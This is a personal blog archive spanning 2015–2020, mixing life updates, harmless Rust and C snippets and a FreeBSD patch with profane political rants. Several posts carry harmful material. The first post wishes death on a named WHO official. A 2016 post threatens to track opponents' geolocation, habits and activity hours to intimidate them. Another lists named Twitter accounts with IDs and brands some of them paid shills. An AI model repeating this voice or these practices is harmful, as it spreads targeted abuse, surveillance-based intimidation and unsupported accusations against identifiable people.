Figured I’d give my two cents, since a portion of the news made it into a funny clip I posted. Here goes.

Bruce Aylward is a fucking coward. He’s a spineless sack of dicks with Chinese aristrocracy’s hand up his ass, moving his mouth. He’s a tool. Absolutely worthless. Facts don’t care about his feelings, nor do facts give a rat’s ass about how badly he doesn’t want to piss off his overlords. Seriously. Fuck this guy. I wouldn’t believe a word coming out of his lying mouth at any point. I don’t think a person can get more useless than he has been. I’ve watched that clip over and over and it’s painfully obvious he isn’t even man enough to simply admit that he’s a pawn of the communist party. He can’t admit that Taiwan deserves its independence. Bruce is basically the Democrat version of Trump. Stupid, biased, and for sale to the highest bidder. Fucking tool. I hope he catches Corona and doesn’t survive.

Dump

Wed, 02 Sep 2020 23:06:36 -0400

Random dump of media.

n00b

Sun, 30 Aug 2020 11:34:00 +0000

Successfully migrated to Hugo. Sorry, Jekyll, but there looks to be a perceivable future for Hugo well beyond the fad of Ruby, and I love the fact that it’s super goddamned fast. It’s a far better option in my opinion. Not that I have anything against Ruby or Jekyll- I’ve established a massive blog with Ruby and Jekyll. It has persisted across many angry skids without so much as flinching. Hugo, though, is the future. It’s fast. It’s written in Go. It has everything I like about Jekyll and nothing I dislike about Jekyll. It’s the future, goddammit.

Sleep Paralysis

Tue, 28 Apr 2020 14:35:00 +0000

Listen to this. It’s good shit.

Bootlickers

Fri, 17 Apr 2020 10:46:00 +0000

It’s funny to me how Republicans “spin” their narrative. “The State”, “The Fed”, nearly any entity aside from a corporate monopoly is viewed as an oppressive body. The narrative gets spun out to look enticing to people who are unfamiliar with their own financial burdens. It lines up completely with the self-oppressing Christian mentality. “I saddled myself with my own woes. I’m my own worst enemy. It’s my fault that I am where I am.” They also, to some minor extent, feel like they’re masters of their own destiny. And minor it is. They have some sway in their own story, but there’s far greater propensity for a fall than there is any sort of rise. Any minor misstep can catapult one of these people into an even more severe poverty than they’re already experiencing. Their station in life is as a footstool for the wealthy. We’re all assigned that role, but they absolutely love it. They don’t even see their own role as being one of “footstool”, but as a “foundational contributor to capitalism”, which is very far from any truth. The narratives spun are crafted in such a way that everyone making less than $250k annually supports all US infrastructure, rather than the 50,000 or so millionaires or billionaires sitting on hoarded wealth. The sad reality is that the Republican spin is an incredibly intuitive story used to rope in 200 million voters to support fifty thousand rich assholes.

Poast

Thu, 16 Apr 2020 10:45:00 +0000

I’m currently not sure what I should write about. I get that I’m writing this at the moment, but I mean I do intend to write something substantial about computing, programming, or maybe maths. I dunno. I’m still kinda figuring that out. Until then I’m just doing the “one million monkeys sitting in front of one million typewriters” thing.

Frustration

Wed, 15 Apr 2020 10:25:00 +0000

I can’t even adequately describe my frustration right now. It’s immense. It’s YUGE. I guess I’ll try to describe exactly why it exists, and why I don’t foresee it improving at all in the next year or so.

First and foremost, qurantine is tough. It’s not the best thing I’ve ever experienced, and a lot of “gamers” are making jokes about quarantine being neutral buoyancy. I get it. Most game and computer enthusiasts stay indoors for long stretches. If they leave, it’s begrudgingly. I understand the stereotype. I spent a while proving it to be true. There’s just some radical exception to that rule when you’re told that you can’t leave. Suddenly the desire for something previously undesirable grows exponentially.

All Work and no Play

Tue, 14 Apr 2020 12:00:00 +0000

I think sitting around all day and having nothing to do with the outdoors in any capacity might be causing all of us some substantial mental harm. Though, the alternative being putting those at-risk in danger may be a greater evil than just sitting around all day. I don’t know. I don’t have all the answers.

I do kind of want to just rip it off, like a band-aid. Just get back out there and continue doing business as usual. It’s starting to wear on me. It’s making me more bitter. I’m less tolerant of people who fail to think things through. I’m less tolerant of people in general. I’m not doing awesome with staying inside all day, every day. I need to find something to break my day up. I’ve been taking a lot of vacation days to just decompress, but I don’t think it’s as effective as I’d like it to be. Maybe I’ll work more. Just get more done with the tasks I have set before me. I dunno. You can tell I’m losing my mind when working more is on the table.

Quarantine

Tue, 17 Mar 2020 21:42:00 +0000

Press play and listen as you read.

It looks as though we’re going to have to hunker down for two weeks given all the bullshit going on. Good ol’ COVID-19 is running rampant across the globe and scaring boomers into destroying the economy. It’s also pretty likely that we’re all going to be unemployed soon due to this little pandemic. The worst part of it has to be the panic buying that everyone’s succumbing to.

Music

Sat, 07 Mar 2020 20:46:00 +0000

🥰🥰🥰🥰

Casual Aside

Sat, 29 Feb 2020 12:06:00 +0000

Today is an alright day, but tomorrow will be much better. For the first time in over a decade, I feel complete. Absent of worry, without fear, just filled with warmth and love.

The Wealthy Republican

Sat, 29 Feb 2020 11:19:00 +0000

The “Republican Message” as transmitted to the poor assholes who carry them every election is very distorted. It has to be in order to make sense to the intended recipients. But to anyone with a handful of braincells left, the message is very easy to decipher. Take the whole second amendment gripe. “You need a gun in order to defend yourself from a tyrannical government.” That’s the official party rhetoric for the impoverished masses to consume. The truth is that the wealthy party members want the right to shoot anyone who dare try and remove their wealth, mostly taking aim at all of the poor, including Terry and Nancy in the trailer park with their “Trump 2020” sign. Even if you’re in a middle class home and you’re making a “decent living” for yourself, you’re not exempt from their ire.

Babbling

Sun, 26 Jan 2020 21:36:00 +0000

I’m so aloof right now. I just don’t feel grounded in the slightest. I feel like I’m all over the place, and I think that’s about as accurate a description of me that can be made. Tomorrow is poised to be very interesting. I think tomorrow is quite likely the point in my life where things reach peak “shit-hit-the-fan” levels. We’ll see, I guess.

I know I keep promising “interesting” content for this blog. I know I’m more than capable of generating it. I just have other things going on in life that honestly matter at least a little more than any of that shit. So I keep getting caught in the excuse that I just don’t fucking give a shit. It is what it is.

Neat

Sat, 25 Jan 2020 20:18:00 +0000

Random

Thu, 23 Jan 2020 20:18:00 +0000

I really don’t pay enough attention to this damn blog. I think I’m going to take a moment to learn how to optimize viewing for mobile and give this fucking thing a revamp, at least. I’ve shat my brain contents into this thing for nearly a decade, I think it’s worth the effort.

Saturday

Sat, 18 Jan 2020 17:04:00 +0000

I’m considering starting a new system build soon. Might have an opportunity to get that done shortly. Not thinking anything extravagant, just a reasonably powered mid-level gaming rig. Since I have my own MSDN account I can just crap out Win10 licenses, so I might as well use one. It’ll be weird to run Win10 Enterprise at home, but whatever.

Weekends are always the best. It’s a departure from the crazy packed weekdays with their tight schedules and last minute business trips.

Balls to the Wall

Thu, 16 Jan 2020 20:35:00 +0000

Holy shit. Work work work. I feel like I’ve been living at work. It’s a real bitch, because I have a lot of people who are important to me that are suddenly wagging behind this career. It’s a real pain, to be honest. But I’ll make time. Everyone that’s important to me deserves my time, even if I’m pressed for it. That’s something I can’t let slip back again. I can’t let people fall to the wayside, because they’ve really been there for me through some of the hardest shit I’ve had to go through. I won’t give up on the people who didn’t give up on me, dammit.

I Can't Stop

Sun, 12 Jan 2020 20:52:00 +0000

Intensity

Sun, 12 Jan 2020 14:47:00 +0000

I’m officially settled into my promotion at work. Now begins the serious grind, ushering in the future of transportation for the world at large. It’s intimidating to get a piece of that pie. To have a reputation established as being a key player in the transition away from fossil fuels, well… I won’t flatter myself, really. I may be somewhat key, but there are a lot of key players in this. It truly takes a village, and in many ways it takes an entire planet. I need to figure out how to stay humble while acknowledging that the things I’m being involved in are huge. It’s daunting. But I’m going to run at it head first, because I can, and because I have to.

New Year

Tue, 31 Dec 2019 22:02:00 +0000

Man, I can’t even get into it right now. Just can’t. But I’m killing it. I’m just making enormous strides in life at the moment, and I feel really optimistic about the future. More than that, I feel like I can summon enough optimism to pull up those around me who need it most. There have been some serious tragedies and difficult times for people that I care about, and as much work and effort as I’ve been able to put into my own life has given me the strength I need to do for myself as well as lend to others who might need it.

Worthless Animal

Sun, 22 Dec 2019 10:51:00 +0000

Random Thoughts

Sat, 21 Dec 2019 17:22:00 +0000

Slowly but surely, I’m realizing that I’m important. I deserve to be happy. I deserve to have people in my life that care. I’m above begging for responses. I’m above begging for human decency. I’m above begging for clarity. I’m above begging for kindness and compassion. People that can’t offer those bare minimums can absolutely get the fuck out of my life and stay the fuck out of my life, they aren’t deserving of my time or attention. I already have so many people in my life that don’t make me beg for the bare minimums, but give me those bare minimums just because I’m worth being cared about. I care just as much about them, and for the first time in a long time I’m beginning to understand healthy relationships. This new year is going to be the best year, I’m going to do everything I can to ensure that it will be. I’m going to make the best life I can for myself, for my kids, and for my friends and family. I am loved, and I started with loving myself.

Gaslighting: an Infographic

Sun, 15 Dec 2019 12:46:00 +0000

Another Day

Sun, 15 Dec 2019 08:15:00 +0000

Today is a good day. Today is a new lease on life, a new start, a rebirth. Today is the day I begin taking back my own destiny. I’ve found myself with a ton of extra free time, and a friend of mine made a few suggestions that I think I’ll take. “Start prepping meals for the week. Start working out. Get a personal trainer. Work on yourself.” He’s not wrong. I’m too old to neglect my health. I’m not getting a personal trainer, that’s beyond my financial reach at the moment, but I have a fitness room I can access at my apartment complex. I can eat healther, I’m already dropping weight. I’m going to take control of my health, since I have time to take control of it. I’m also taking better care of my living environment. I’m picking up extra hours at work. All the while, I’m still able to treat my kids like the amazing little humans they are.

Deflation

Tue, 10 Dec 2019 17:09:00 +0000

Heh. I dunno. Just thought this video was good.

Blogging Resumes

Sun, 08 Dec 2019 12:05:00 +0000

I think I’m going to start blogging semi-regularly, both to get shit off my chest and maybe, on occasion, share some knowledge. I need an outlet for the garbage banging around in my tiny, mostly empty skull. I suppose I have a few bits of advice for anyone living in the digital age. There are a few choice pieces up here already, but I’ll admit that in the time since I’ve written stuff here, my skills have improved a bit.

Father's Day!

Sat, 15 Jun 2019 22:36:00 +0000

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IDKLOL

Fri, 14 Jun 2019 21:52:00 +0000

Holy shit, it’s been a while. Things have changed. Soooo many things. My job has changed since I really took blogging even remotely seriously. I think the trajectory of my career has been surprisingly upward. Moreso than I ever considered it could go. It’s a great thing, but it also taxes my ability to do any serious blogging. I also have been so entirely out of the scene that I pretty much don’t keep in touch with anyone anymore, save for one or two individuals.

What the Hell

Thu, 23 Nov 2017 00:00:00 +0000

This is really just a sort of a quick blurb about how I still exist. Nothing really else to say at the moment. Not sure when I’ll update again or what my update will consist of. I’m strongly considering gutting this space for something else. Not sure what. There are a few things I’ll continue to host in perpetuity, though. At least, I fully intend to host until the statute of limitations is long past. Fucking lame skids.

Mother of God

Sun, 10 Jul 2016 00:00:00 +0000

I just have one thing to say:

Being on the road sucks.

That’s really all, at the moment. Maybe, if life slows down some, I can get a few more words out there. I’ve learned a hell of a lot in the last month or two of being a road warrior. Not only professionally, but in adapting my life to being a remote one.

Needless to say, OpenVPN has become my friend. I’ve learned quite a bit about making my life easier in all respects by using it. Especially when it comes to maintaining a connection to my family and my home life despite my not being home.

Motivation

Sat, 14 May 2016 00:00:00 +0000

I’m having a hell of a time maintaining my motivation. I’m learning new things, I’m honing old skills and developing new ones, I’m restructuring my entire “professional” existence. I’m doing big things, small things, all the things.

I dunno, I’m just petering out. I’ve been working 60+ hours for a few weeks now, and I’m burned out quite severely. I need a beer and a day with zero obligations. I need to sleep more than six hours. I know all of what I need. I’m also painfully aware of how scarce my needs really are. Life doesn’t work that way. It’s not so simple.

Paint Drying

Tue, 26 Apr 2016 00:00:00 +0000

Another long week at work. There seems to be too much to do and not enough time in which to get it done. It looks like the story of Hillary Clinton using campaign funds to support professional political punditry on social media has broke. Not surprising, of course. I still have a running capture that’s ongoing, but I’ll need to think of the most effective way to parse the data before I write about it. Analyzing social media has been fun for quite a while, so the extra dimension of politics should produce interesting results. I’m absolutely planning on compiling an entry with all the harassment I’ve had come my way from Hillary supporting psychopaths. I suppose strong delusion makes for some pretty intense attacks. Nearly two thirds of the animosity originated from the forty-plus age group. No surprise there. I’m sure many of them blithely cheered Bill on, even during NAFTA and the DMCA. I haven’t had much spare time to update anything online, even writing this is a challenge. Life has been ridiculously busy lately. I’m sure things will calm down again soon. Maybe I’ll get a minute to start poking at my data. Truthfully, I think the only blog entry you can expect in the near future will be my collection of hate messages. I’m certainly not going to expose the few who were kind, though, but rest assured that not everyone is an asshole like you or I.

FAQ

Mon, 11 Apr 2016 00:00:00 +0000

I feel obliged to clarify things, since you’re all not very bright. Either that, or you’re on the verge of illiteracy. Either is likely, I’m sure. In any case, here goes.

Intention

No, I’m not looking to “dox” anyone. I’m not stalking. I’m doing what millions of other individuals and corporations do on a daily basis; I’m dipping my net into the stream of garbage that is social media.

In fact, there’s only one reason you should be afraid of me. If you’re accepting money to promote candidates in elections; You have every right to be afraid.

Response

Thu, 07 Apr 2016 00:00:00 +0000

I’ve been getting a number of complaints lately about my Open Source Intelligence gathering so I figured I would address everyone’s concerns with this single blog update.

Fuck you.

You democrat pieces of shit did nothing to prevent the Patriot Act. You’ve done nothing to hinder the NSA’s domestic spying programs. You’ve even called Ed Snowden and Chelsea Manning “terrorists”.

So I’m going to give you a taste of your own medicine. Every piece of shit halfwit “semi-Republican” I see who seriously doesn’t think Hillary is a bad person can live with the fact that I’m watching all their interactions with others on social media. I’m tracking you by your ID number in case you decide to change your username. I’m watching every geolocation tagged tweet, every reference to your daily lives, I’m going to scrutinize everything you do. I’ll create histograms to display the hours you’re most active. Are you an insomniac? Are you collecting disability? Are you tweeting all day at work? I’ll know more about you than you ever wanted anyone to know.

Politics

Sat, 02 Apr 2016 00:00:00 +0000

I never wanted to get into politics, I’ve enjoyed abstaining for a long time. It had only become complicated when pieces of legislation like the Digital Millenium Copyright Act managed to sluice through the cracks and fuck up my life. Yes, this act directly effects me. Yes, it’s detrimental to my lifestyle. It’s detrimental to my data aggregation habits.

In any case, I’m voting for Bernie for some pretty damned decent reasons. He’s totally opposed to the Trans-Pacific Partnership; a horror-show of 7,000 pages dedicated to NAFTA-esque freebies for exporting U.S. jobs. Bernie also supports net neutrality. Why would he support net neutrality, you ask? Nearly all the momentum that has propelled him in this election originated from free and democratic access to the internet. The idea that I should have to pay extra to AT&T or Comcast for people to access my Twitter feed at a reasonable speed is not only asinine, it’s unconstitutional.

More Accounts Crop Up

Fri, 18 Mar 2016 00:00:00 +0000

It looks like more anti-Bernie twitter accounts are starting to fill up some choice hash tags mentioned in my previous post. Maybe we can figure out if some of these people are paid shills, or if they’re actually this delusional.

User	ID#	Time Zone	Joined
@southerntalker	22873947	Eastern Time (US & Canada)	2009-03-05 03:35
@KevinDarryl	2400901568		2014-03-21 03:57
@TeeTweetsHere	51259550	Eastern Time (US & Canada)	2009-06-26 22:42
@MaryL1964	252353889		2011-02-15 01:05
@michgirlindc	186830196		2010-09-04 14:36
@drunkandfamous	2664309235	Pacific Time (US & Canada)	2014-07-20 23:32
@rleedep	32486821	Central Time (US & Canada)	2009-04-17 17:21
@danielsloebey	697988570494009344		2016-02-12 03:40
@demliberalways	4895124597		2016-02-10 15:15
@TheFuzzyLobster	25022491	Eastern Time (US & Canada)	2009-03-18 03:45
@dleemar	558093419	Central Time (US & Canada)	2012-04-19 22:00
@6nsinvt	1897239480		2013-09-23 13:12
@AndrewKilljoy	398576647		2011-10-26 07:58
@dollyp724	1909087813		2013-09-26 20:05
@rs130	159471232		2010-06-25 13:23
@catperson1187	3151702404		2015-04-12 17:02
@LinaMonroy01	15258809	Mountain Time (US & Canada)	2008-06-27 23:10
@Auxi13Sheila	331377273		2011-07-08 02:36
@Only4RM	60841112	Quito	2009-07-28 07:25
@CraigCrawlspace	4870825173		2016-02-02 00:54
@heyjdey	136881432	Pacific Time (US & Canada)	2010-04-25 05:04

Right off the bat it looks like @CraigCrawlspace is a paid shill or a bot. @demliberalways is also highly suspect. Lastly, @danielsloebey is absolutely a paid shill.

Anti-Progress Sentiments

Sat, 12 Mar 2016 22:17:00 +0000

It looks like there are more “Anti-Bernie” twitter users now than there ever have been. So, now more than ever, I’m interested in watching them. I collected a handful of users active on #NotUsMe, #VetBernie, #VettingBernie, and #BernedOut.

It certainly looks like a few of them are just paid shills.

But, just in case, I’ve thrown together a quick script to convert their User IDs to ID numbers. That way, if any of these anti-bernie assholes ever change occupations (other than bashing Bernie), we can still observe them knowing full well what they’re about.

Trump Deletes Racist Tweets

Sat, 12 Mar 2016 11:26:00 +0000

Apparently Donald Trump unleashed a little racism on twitter before thinking twice and deleting the offending tweets. Veracity of claims shown here has not been confirmed, but I haven’t seen a “Donalt Trump tweet generator” in Spanish, so I’m inclined to believe it.

Michigan Primary Results

Wed, 09 Mar 2016 15:36:00 +0000

…In case you missed it…

I Don't Know

Sat, 05 Mar 2016 11:52:00 +0000

Things seem to be heating up with Hillary. The ex-Clinton staffer who set up her private email server was granted immunity. I don’t think people are usually granted immunity to clear a person’s name or if she’s not going to be prosecuted. I bet this is going to be one of the most interesting elections we’ve seen in a while.

I’m still voting Bernie. You should, too.

I guess I’m officially a “career metrologist” now. I don’t mind. I get to tinker with scientific equipment. It passes the time, I’m good at what I do, and I love being in a field that’s constantly evolving rapidly.

Why Hillary Clinton is an Asshole

Thu, 03 Mar 2016 17:07:00 +0000

My reasons why Hillary Clinton is an asshole:

Hillary has made USD $22.1 million kissing ass for Goldman Sachs.
She’s really corrupt.
Mrs. Clinton can’t win without Bernie’s talking points.
Hillary can’t even get votes by default.
She’s pulling major strings to make her legal woes go away.
Her husband threw American jobs at Mexico. She’s likely to do the same.
Her husband signed the worst copyright bill ever into law. She would also be very pro-TPP.
She buys good press while negative reporting doesn’t seem to phase her.
She’s part of the much-maligned 1%.
She’s trying to destroy Bernie Sanders with her clout, and her cash.

Oh, and it looks as though there’s no end in sight with regards to her legal troubles (as well as her questionable sources of income).

Bernie Sanders

Thu, 03 Mar 2016 16:23:00 +0000

This is my most precocious and preachy post to date. Sorta. I’m basically just going to advocate for voting for Bernie Sanders. Hillary Clinton is an asshole. She is. There’s no getting around it. She pulled a “Sarah Palin” with a private email account, going so far as to use her own equipment, and got caught transmitting sensitive government garbage from said email address.

Hillary Clinton, like her husband, is an asshole. Period. If you’re not convinced that she’s an asshole, that makes you an asshole. Your opinion has thus reduced you from the status of human to asshole. That’s just the way it goes.

Minbif on FreeBSD

Sun, 28 Feb 2016 15:50:00 +0000

I don’t remember at all why I did this. I can’t remember if the minbif port was broken or what my motivation was. I downloaded the last version of minbif and started editing crap until it compiled on FreeBSD 10.2. Which, with this patch, it does. In any case, it’s going here for posterity, I guess.

diff -Naur minbif-1.0.5/src/im/account.cpp
minbif-1.0.5-new/src/im/account.cpp
--- minbif-1.0.5/src/im/account.cpp 2011-12-04 09:24:51.000000000
-0500
+++ minbif-1.0.5-new/src/im/account.cpp 2016-01-26 17:20:54.418450000
-0500
@@ -272,7 +272,7 @@
 else
 {
 char** prpl_formats =
g_strsplit(prplinfo->icon_spec.format,",",0);
- ImlibLoadError err =
 IMLIB_LOAD_ERROR_UNKNOWN;
+ Imlib_Load_Error err =
IMLIB_LOAD_ERROR_UNKNOWN;

 close(temp_fd);
 /* Try to encode in a
 * supported format. */
diff -Naur minbif-1.0.5/src/im/auth_pam.h
minbif-1.0.5-new/src/im/auth_pam.h
--- minbif-1.0.5/src/im/auth_pam.h 2011-12-04 09:24:51.000000000
-0500
+++ minbif-1.0.5-new/src/im/auth_pam.h 2016-01-26 17:15:57.047434000
-0500
@@ -21,7 +21,7 @@

 #include "auth.h"
 #include <security/pam_appl.h>
-#include <security/pam_misc.h>
+#include <security/openpam.h>

 struct _pam_conv_func_data {
 bool update;
diff -Naur minbif-1.0.5/src/server_poll/daemon_fork.cpp
minbif-1.0.5-new/src/server_poll/daemon_fork.cpp
--- minbif-1.0.5/src/server_poll/daemon_fork.cpp 2011-12-04
09:24:51.000000000 -0500
+++ minbif-1.0.5-new/src/server_poll/daemon_fork.cpp 2016-01-26
12:14:09.049463000 -0500
@@ -20,7 +20,7 @@
 #include <cassert>
 #include <cstring>
 #include <cerrno>
-#include <glib/gmain.h>
+#include <glib.h>
 #include <sys/socket.h>
 #include <sys/stat.h>
 #include <arpa/inet.h>
diff -Naur minbif-1.0.5/src/server_poll/inetd.cpp
minbif-1.0.5-new/src/server_poll/inetd.cpp
--- minbif-1.0.5/src/server_poll/inetd.cpp 2011-12-04
09:24:51.000000000 -0500
+++ minbif-1.0.5-new/src/server_poll/inetd.cpp 2016-01-26
12:09:56.808247000 -0500
@@ -17,7 +17,7 @@
 */

 #include <cassert>
-#include <glib/gmain.h>
+#include <glib.h>

 #include "inetd.h"
 #include "irc/irc.h"

Totient Calculator in C

Sun, 28 Feb 2016 14:12:00 +0000

Rewrote my totient calculator in C. It’s pretty much a direct translation of the excrement I wrote in Rust. Be gentle, there are obvious points that I miss completely in C that veterans in the ancient language would scoff heartily about. I don’t yet know what the hell a struct is for or the extents of threading. All in good time.

So here’s my uncommented and fully unnecessary data type usage.

Chamfer Calculator in C

Sat, 27 Feb 2016 12:45:00 +0000

I’ve converted the Rust Chamfer Calculator to C for shits and giggles, and to learn something new. If you have any recommendations on tutorials for C socket programming, please feel free to contact me. Without further ado, here’s my garbage:

#include <stdio.h>
#include <stdlib.h>
#include <math.h>

double to_radians(double degrees);
double chamf(double angle, double depth, double bore);

int main(int argc, char *argv[])
{
 if (argc < 4 || argc > 4)
 {
 printf("Usage: %s angle depth bore\n", argv[0]);
 exit(0);
 }

 double ang = strtod(argv[1], NULL);
 double dep = strtod(argv[2], NULL);
 double bor = strtod(argv[3], NULL);

 double cha = chamf(ang, dep, bor);

 printf("Angle: %f\nDepth: %f\nBore: %f\nChamfer Diameter:
%.16f\n", ang, dep, bor, cha);

 exit(0);
}

double to_radians(double degrees)
{
 return degrees * (M_PI / 180);
}

double chamf(double angle, double depth, double bore)
{
 return (tan(to_radians(angle)) * depth) + bore;
}

Upgrade Complete

Fri, 26 Feb 2016 20:07:00 +0000

After a brief downtime, I’ve re-provisioned (due to my incredibly cheap VPS situation) and I’m back up and running with a much newer instance and updated software. I’m also changing distros to experiment with resource management on my incredibly small allocation.

I’m sure it’ll work out better than Fedora Core did. FC seems to be a bit of a resource hog.

I’ve been trying to shoehorn Rust onto my FreeBSD 10.2 x86 machine, but it just isn’t happening. I can’t compile it. There are no functional x86 packages (only x86_64), and I’m pretty much giving up on having remote access to a Rust compiler of my own. Oh well.

Goofing off

Mon, 15 Feb 2016 07:14:00 +0000

I’m being a slacker. Don’t you judge me. I have my blog set up that I can update from anywhere, albeit tediously. Still cool, though. What isn’t cool is having to rely on Pandora for music. Also, this fucking sinus infection is horrible. I have Fallout centaur embryos flying out of my face with every sneeze.
I’m ready for bed.
It looks like I’m headed for another boring week where things still haven’t picked up to feel like actual work. Oh well. At least I’m gainfully employed.
I miss my future wife every day. When did this turn into a “stream of consciousness” entry?
Blah.

Updated, Upgraded, All Set

Fri, 12 Feb 2016 00:00:00 +0000

Jekyll 3 is something new entirely. My original template didn’t play nice. Completely lost my nav bar in the header and in the footer. That was no bueno. I’ve since adapted to just using a ‘_data/’ block to contain my navbar YAML. I guess that’ll work, though I suspect my install may be broken. No help was offered by #jekyll just yet. We’ll see if maybe I can get some info from them.

Connected

Sun, 17 Jan 2016 00:00:00 +0000

I’m almost restored to my former glory. Bought a cable modem, shot some textual nonsense to Comcast in India, plugged everything in, and now I have my updated router and modem. Everything is all set for $30 in services and $50 in extra hardware.

Not bad. The only task left to tackle is getting my FreeBSD machine connected, upgraded, and ready to roll. I don’t feel that my setup is complete without remote access.

The Linux Party

Sat, 07 Nov 2015 00:00:00 +0000

Taken from http://www.trollaxor.com/2001/12/linux-party.html.

First, there was a plan: how to bring together the two different development groups at work? My boss said there was a sort of tension he thought could be eased by some social interaction. Not easy. Both the different development groups despised one another, each thinking its “art” was more important and eloquent than the others'.

First there was the XML group. They worked on our website, documentation and formatting, and simple configuration apps and some front-ends to Java stuff. They also did our web sites. They used CSS, HTML, XSL, JavaScript, and a bit of Java. They typically dressed casually, drank coffee and tea, and liked to work straight from the spec: no ”Learn XSL in 30 Days” books were to be found in their cubicle farm.

Ink

Sat, 24 Oct 2015 00:00:00 +0000

So I’ve got some new ink. Figured I’d show off. I’ve had the idea for it rattling around in my head for two years or longer.

The first part, “Pia Fraus”, is latin for “Pious Fraud”. It’s basically a catholic phrase that entails the idea that a religion is justified in lying and being unethical so long as it preserves the religion. The second part, “Temet Nosce”, means “Know thyself”. It was initially proposed as a warning to readers to know their limits. It has that meaning to me, as well, but also means to me that I should stay true to myself. Then, of course, there’s the dead tree.

I Think I've Died to Death

Sun, 20 Sep 2015 19:37:00 +0000

For the last month, I’ve been busy. Stupid busy. Retarded busy. My employer has had me working 10 to 12 hours a day six days a week. Sometimes seven. I’m doing the same job I had been doing prior, just for a better situation. I can actually afford to live, now. I’ll be upgrading the accommodations for my family, upgrading my car, potentially upgrading my computer, and hopefully in the next ten years I’ll be upgrading my career as a professional metrologist.

Chamfer Calculator in Rust

Sun, 09 Aug 2015 00:00:00 +0000

I’m going to go through my old TI-82 calculator and rewrite my most useful little trig tidbits in Rust for everyone to use. The first one I’m going to reiterate will be my chamfer calculator. This is pretty handy if you ever have to measure chamfer diameters in a production environment. You can quickly calculate the greatest diameter of any given print dimension chamfer with this tool. It ought to compile on the latest version of Rust without warning. Should. I’ve hit my Ballmer curve, so I’ll just throw that warning right away.

Euler's Totient Function in Rust

Sat, 25 Jul 2015 22:45:00 +0000

Figured I’d write a much quicker varient of the Totient Function in Rust. Excellent language. I don’t have a grasp on the finer points available to Rustaceans, but I can hopefully put concurrency and whatnot to use at some point. The code is quick, but I know it can be quicker if I just spend some time putting it together.

This is the quick crap I dreamt up:

use std::env;

fn gcd(mut m: u64, mut n: u64) -> u64 {
 while m != 0 {
 let old_m = m;
 m = n % m;
 n = old_m;
 }
 n
}

fn totient(mut a: u64) -> u64 {
 let mut y = 0;
 let o = a;
 while a != 0 {
 if gcd(o, a) == 1 {
 y += 1;
 }
 a -= 1;
 }
 y
}

fn main() {
 let args: Vec<_> = env::args().collect();
 let n: u64 = args[1].parse::<u64>().unwrap();
 let m: u64 = args[2].parse::<u64>().unwrap();

 let x = (n..m).collect::<Vec<u64>>();

 for i in &x {
 let o = totient(*i);
 println!("{:?}, {:?}", i, o);
 }
 
}

The code should compile with no problems. Yes, I realize that u64 is overkill. No, my code will never require unsigned 2^64 integers. It may be a quirky choice, but whatever. Change to u32 as needed, though I’m sure it won’t be a problem for anyone.

Euler's Phi Function in Ruby

Tue, 21 Jul 2015 13:04:00 +0000

I’ve taken a few implementations apart and I’ve tried to figure out what the intention of Euler’s Phi function is. I think I’ve got it. I found an interesting implementation in Ruby here but it wasn’t satisfactory. Sure, the code was incredibly minimalistic, but it was also recursive and overflowed the stack for anything over 7704 iterations. I didn’t like the inflexibility of it. So I rewrote it in big ugly moron code that isn’t recursive, but is capable of scaling to some decently large totients. I might see if I can code something similar in Rust, just for shits and giggles.

Updates. Downdates. All-around-dates.

Sat, 04 Jul 2015 00:00:00 +0000

This is more of a ping than anything. Not that I really need to ping anyone or anything. Figured I’d let you know I still breathe. I’m still around, I’m still cooking up things to contribute, despite my complete lack of available time in which to do it. I have kids, I have gainful employment, and I have a significant other, so don’t expect much in the way of me contributing to this blog. Not that I’ve ever continually contributed to this damn thing at any point- I’ve mostly excised bits of my brain and shat them into text, all for you to analyze and use as needed.

Begone, ye Bastards!

Mon, 25 May 2015 00:00:00 +0000

I’m writing this because I’m bored. I’m downloading old humble bundle games via a not-so-quick WOW cable connection being borrowed. It’s a relaxing day. I’m not regretting being bored at all. It’s kind of nice to feel unplugged in some ways, yet still plugged in other ways.

I’m ready to pass out. I feel physically exhausted for seemingly no reason at all. It’s almost as though carbon monoxide is seeping into the atmosphere and replacing slowly oxygen and carbon dioxide as the typically bonded gases in my hemoglobin. I just feel energy escaping my body without the typical expenditure you would expect.

Happy Memorial Day

Mon, 25 May 2015 00:00:00 +0000

Happy Memorial Day. Now that’s out of the way, I’m going to ramble and rant about atheism.

I killed your god. I killed every single deity you could ever believe in. More than that, I truthfully am not the original cause of death of your deity. Myself, along with everyone who has ever been a reasonable and rational human being has had stake in destroying your spiritual beings.

I had read recently on Salon that there are Christians in the world who don’t believe the biblical story of Noah is factual, along with a host of other traditional stories, and relegate almost all of those “events” to basically being metaphors. Those same individuals don’t necessarily take the bible at face value as being a text of history, but entirely of religion. They’re the ones Salon claims “should not be discounted” with the rest of Christianity. I disagree. I don’t see anything written thousands of years ago by dehydrated nomads as having relevance to modern life. God is easily disproven. More than that, why should the burden of proof rest on the atheist when it comes to spirituality? That’s exactly like saying “Unicorns exist. Prove me wrong.” That isn’t logic. That’s fallacy, and that’s all Christians have. Fallacy is their bread and butter.

PC-DMIS and Sentinel HASP

Thu, 21 May 2015 00:00:00 +0000

I recently found myself having to deal with Sentinel HASP and Windows 7. Specifically, in installing a PC-DMIS version prior to 2013. Windows 7 has this ungainly habit of installing the most recent drivers available for any piece of equipment plugged into it. This is mostly an alright thing, but sometimes it creates problems when newer drivers break older software.

Son of a bitch.

So I attempted to install this older version of PC-DMIS, but it wasn’t communicating at all with the HASP dongle via the new driver. It wasn’t having that at all. I attempted to run haspdinst.exe -i to install the old driver, to no avail. I tried uninstalling the most recent driver using Device Manager, haspdinst.exe -remove, and nothing worked.

WeeChat

Sun, 03 May 2015 00:00:00 +0000

I found out recently that Cygwin has been including WeeChat in their packages, so I had to dive in. Found out two things. One, Cygwin has a new interface they install; Mintty.exe is fucking awesome. Two, WeeChat is just as awesome in Cygwin.

This is my current layout, which I’m sure will change multiple times.

I need to grab more cygwin packages. Fuck. Yes.

Blog Updates

Sun, 26 Apr 2015 00:00:00 +0000

I’m shaping my blog, trimming bits here and there, and cultivating other areas that are too sparse. Look out for the NFO section. I’m adding whatever I can possibly add to it. I may add more. Probably adding links where I can.

I’ll write an actual “how-to” style post here soon. I promise. It’s bound to happen at some point.

Unpurposed

Sat, 25 Apr 2015 00:00:00 +0000

I need to get back into computers. My hobby has pretty much gone almost entirely to the wayside. It pretty much has had to. Between work, family, and prior obligations- it hasn’t been easy to maintain a baseline working knowledge in software. I’ve managed, because luckily things haven’t changed drastically. The same can’t be said ten years from now, though. It’s important to keep up, so that when the lagging business world finally adopts what’s new, I won’t be left in the dust.

Looks Like we Made it to Metrotimes

